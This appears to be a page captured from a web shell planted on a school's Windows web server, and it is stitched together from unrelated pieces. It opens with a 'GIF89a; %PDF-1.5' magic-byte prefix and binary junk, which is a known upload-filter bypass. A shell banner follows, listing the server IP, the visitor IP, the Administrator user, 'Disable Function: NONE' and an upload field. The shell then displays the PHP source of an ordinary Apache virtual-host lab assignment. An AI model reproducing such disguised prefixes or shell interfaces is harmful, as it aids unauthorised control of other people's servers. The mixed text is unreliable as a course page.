GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab08/ |
Upload File : |
<? // JimMartinson/CST1611/Labs/Lab08.phpinc require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $dataFolder = '/var/www/html'; $apacheFolder = $dataFolder; $dirSep = '/'; $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } $userFullName = str_replace(" ", "_", $userFullName); $directoryFile = $evaluationName.'-'.$userFullName.'.txt'; $directoryFile2 = $evaluationName.'-8080-'.$userFullName.'.txt'; $directoryFile3 = $evaluationName.'-IP-'.$userFullName.'.txt'; $ShowSpanCountBefore = false; #$ShowSpanCountBefore = true; // <span> ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend> The purpose of this lab is to demonstrate the ability to define additional Virtual Hosts using SSL, alternate ports, and alternate IP addresses. <br><span class="note normal">You cannot perform this lab unless you have completed <a href="../Lab02">Lab 2 - Virtual Hosts</a> and <a href="../Lab05">Lab 5 - mod_ssl (Secure Sockets Layer)</a>.</span> <br><?=$gradeNote?> <ol id="main" class="count"> <? // 1. ?> <li>Setup a directory for use in <?=$evaluationType?> <?=$evaluationNumber?>. <ol> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li> <li>Create a text file called <b class="copyText"><?=$directoryFile?></b> in the <b><?=$evaluationName?></b> directory.</li> </ol> </li> <? // 2. ?> <li>Configure Apache for another https site. <ol> <li>Setup a 127.0.0.1 host entry and Name-based Virtual Host (lab08.test-ssl.conf) for <?=$evaluationType?> <?=$evaluationNumber?> (<a href="../LabHostSetup/?evaluationName=<?=$evaluationName?>&ha=127.0.0.1&ht=<?=$evaluationName?>.test&vh=<?=$evaluationName?>.test&dr=<?=$evaluationName?>">Instructions are here</a>).</li> <li>Modify the <?=$evaluationName?>.test <code>VirtualHost</code> line to use port number: <code>443</code>.</li> <li>Create new key and certification files and put them in your <b><?=$evaluationName?></b> directory. <span class="note">See <a href="../Lab05">Lab 5</a>.</span></li> <li>Add appropriate <samp>SSLEngine</samp>, <samp>SSLCipherSuite</samp>, <samp>SSLCertificateFile</samp>, and <samp>SSLCertificateKeyFile</samp> directives to the Virtual Host.</li> <li>Download <b><a href="<?=$evaluationName?>-https.php"><?=$evaluationName?>-https.html</a></b> and save it in your <b><?=$evaluationName?></b> directory.</li> <li>Verify that your SSL configuration works. <ol> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b class="copyText">https://<?=$evaluationName?>.test</b> in the address bar.</li> <li>Hit enter.</li> <li>Follow the steps to OK the certificate or continue. You should see a page similar to: <? require('common/Browser/Browser.phpinc'); BrowserBegin('Index of /','https://'.$evaluationName.'.test',600); ?> <h1 style="text-align:left;">Index of /</h1> <ul> <li><a href="#"><?=$directoryFile?></a></li> <li><a href="#"><?=$evaluationName?>-https.html</a></li> <li><a href="#"><?=$evaluationName?>.test.crt</a></li> <li><a href="#"><?=$evaluationName?>.test.key</a></li> </ul> <br> <? BrowserEnd(); ?> </li> </ol> </li> <li>Click on the <b><?=$evaluationName?>-https.html</b> file. You should see a page similar to: <? BrowserBegin($courseNumber.' '.$evaluationName.' https','https://'.$evaluationName.'.test/Lab08-https.html',800); ?> <h1 class="left"><?=$courseNumber?> <?=$evaluationType?> <?=$evaluationNumber?> https</h1> <p> Take a screenshot of this page. <br> Save the image as <b><?=$saveFilename?>_https.png</b> in your <b><?=$evaluationName?></b> directory. <br> Make sure that the address bar is visible in your screenshot before saving the image. </p> <? BrowserEnd(); ?> <b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_https.png</b> in your <b><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your screenshot before saving the image. <br> Ensure that your browser shows that the site is insecure and that it is the certificate that is invalid. If it does not, you will need to take a screenshot of the certificate as in <a href="../Lab05/">Lab 5</a> and save it as <b class="copyText"><?=$saveFilename?>_https_cert.png</b>. </li> </ol> </li> <? // 3. ?> <li>Configure Apache for another https site by IP address. <ol> <li>Setup a directory for use with this part of the lab. <ol> <li>Create a directory called <b class="copyText">IP</b> inside your <b><?=$evaluationName?></b> directory.</li> <li>Create a text file called <b class="copyText"><?=$directoryFile3?></b> in the <b><?=$evaluationName?><?=$dirSep?>IP</b> directory.</li> </ol> </li> <li>Setup a IP-based Virtual Host (host-ip-address-ssl.conf) for <?=$evaluationType?> <?=$evaluationNumber?> (<a href="../LabHostSetup/?evaluationName=<?=$evaluationName?>&ip=host-ip-address&dr=<?=$evaluationName?>%2FIP&lg=<?=$evaluationName?>.IP.test&nc=yes&df=<?=str_replace(array('!',' '),array('%21','%20'),$directoryFile3)?>&nv=true">Instructions are here</a>).</li> <li>Modify the <code>VirtualHost</code> line so the VirtualHost uses port number: <code>443</code>.</li> <li>Add copies of the <samp>SSLEngine</samp>, <samp>SSLCipherSuite</samp>, <samp>SSLCertificateFile</samp>, and <samp>SSLCertificateKeyFile</samp> directives from part 2 above. <span class="note">You would usually create a new cert for this VirtualHost, but we can use the one from above for this. host-ip-address is not really a domain and the cert would not show as secure. It does not show secure anyway because these are self-signed.</span></li> <li>Download <b><a href="<?=$evaluationName?>-host-ip-address.php"><?=$evaluationName?>-host-ip-address.html</a></b> and save it in your <b><?=$evaluationName?><?=$dirSep?>IP</b> directory.</li> <li>Verify that your SSL configuration works. <ol> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b class="copyText">https://host-ip-address</b> in the address bar.</li> <li>Hit enter.</li> <li>Follow the steps to OK the certificate or continue if needed. You should see a page similar to: <? BrowserBegin('Index of /','https://host-ip-address',600); ?> <h1 style="text-align:left;">Index of /</h1> <ul> <li><a href="#"><?=$directoryFile3?></a></li> <li><a href="#"><?=$evaluationName?>-host-ip-address.html</a></li> </ul> <br> <? BrowserEnd(); ?> </li> </ol> </li> <li>Click on the <b><?=$evaluationName?>-host-ip-address.html</b> file. You should see a page similar to: <? BrowserBegin($courseNumber.' '.$evaluationName.' host-ip-address https','https://host-ip-address/'.$evaluationName.'-host-ip-address.html',800); ?> <h1 class="left"><?=$courseNumber?> <?=$evaluationType?> <?=$evaluationNumber?> host-ip-address https</h1> <p> Take a screenshot of this page. <br> Save the image as <b><?=$saveFilename?>_IP.png</b> in your <b><?=$evaluationName?></b> directory. <br> Make sure that the address bar is visible in your screenshot before saving the image. </p> <? BrowserEnd(); ?> <b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_IP.png</b> in your <b><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your screenshot before saving the image. <br> Ensure that your browser shows that the site is insecure and that it is the certificate that is invalid. If it does not, you will need to take a screenshot of the certificate as in <a href="../Lab05/">Lab 5</a> and save it as <b class="copyText"><?=$saveFilename?>_IP_cert.png</b>. </li> </ol> </li> <? // 4. ?> <li>Configure Apache to listen on another port. <ol> <li>Setup a directory for use with this part of the lab. <ol> <li>Create a directory called <b class="copyText">8080</b> inside your <b><?=$evaluationName?></b> directory.</li> <li>Create a text file called <b class="copyText"><?=$directoryFile2?></b> in the <b><?=$evaluationName?><?=$dirSep?>8080</b> directory.</li> </ol> </li> <li>Add a <code class="copyText">Listen</code> directive for port <b class="copyText">8080</b>.</li> <li>Setup a Name-based Virtual Host (lab08.test-8080.conf) for <?=$evaluationType?> <?=$evaluationNumber?> (<a href="../LabHostSetup/?evaluationName=<?=$evaluationName?>&vh=<?=$evaluationName?>.test&dr=<?=$evaluationName?>/8080&lg=<?=$evaluationName?>.8080.test&nc=yes&df=<?=$courseNumber?>/">Instructions are here</a>).</li> <li>Modify the <code>VirtualHost</code> directive to use port <code>8080</code>.</li> <li>Download <b><a href="<?=$evaluationName?>-8080.php"><?=$evaluationName?>-8080.html</a></b> and save it in your <b><?=$evaluationName?><?=$dirSep?>8080</b> directory.</li> <li>Verify that your port 8080 configuration works. <ol> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b class="copyText">http://<?=$evaluationName?>.test:8080</b> in the address bar.</li> <li>Hit enter. You should see a page similar to: <? BrowserBegin('Index of /','http://'.$evaluationName.'.test:8080',600); ?> <h1 style="text-align:left;">Index of /</h1> <ul> <li><a href="#"><?=$directoryFile2?></a></li> <li><a href="#"><?=$evaluationName?>-8080.html</a></li> </ul> <br> <? BrowserEnd(); ?> </li> </ol> </li> <li>Click on the <b><?=$evaluationName?>-8080.html</b> file. You should see a page similar to: <? BrowserBegin($courseNumber.' '.$evaluationName.' port 8080','http://'.$evaluationName.'.test/'.$evaluationName.'-8080.html',800); ?> <h1 class="left"><?=$courseNumber?> <?=$evaluationType?> <?=$evaluationNumber?> port 8080</h1> <p> Take a screenshot of this page. <br> Save the image as <b><?=$saveFilename?>_port.png</b> in your <b><?=$evaluationName?></b> directory. <br> Make sure that the address bar is visible in your screenshot before saving the image. </p> <? BrowserEnd(); ?> <b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_port.png</b> in your <b><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your screenshot before saving the image. </li> </ol> </li> <? // 5. ?> <li>Turn in your assignment: <ol type="a"> <li>Copy the following to your <b><?=$evaluationName?></b> folder. <ol> <li>hosts</li> <li>lab08.test-ssl.conf</li> <li>host-ip-address-ssl.conf</li> <li>lab08.test-8080.conf</li> </ol> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> <!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> --> <?=$gradeNote?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; require('common/pageFooter.phpinc'); ?>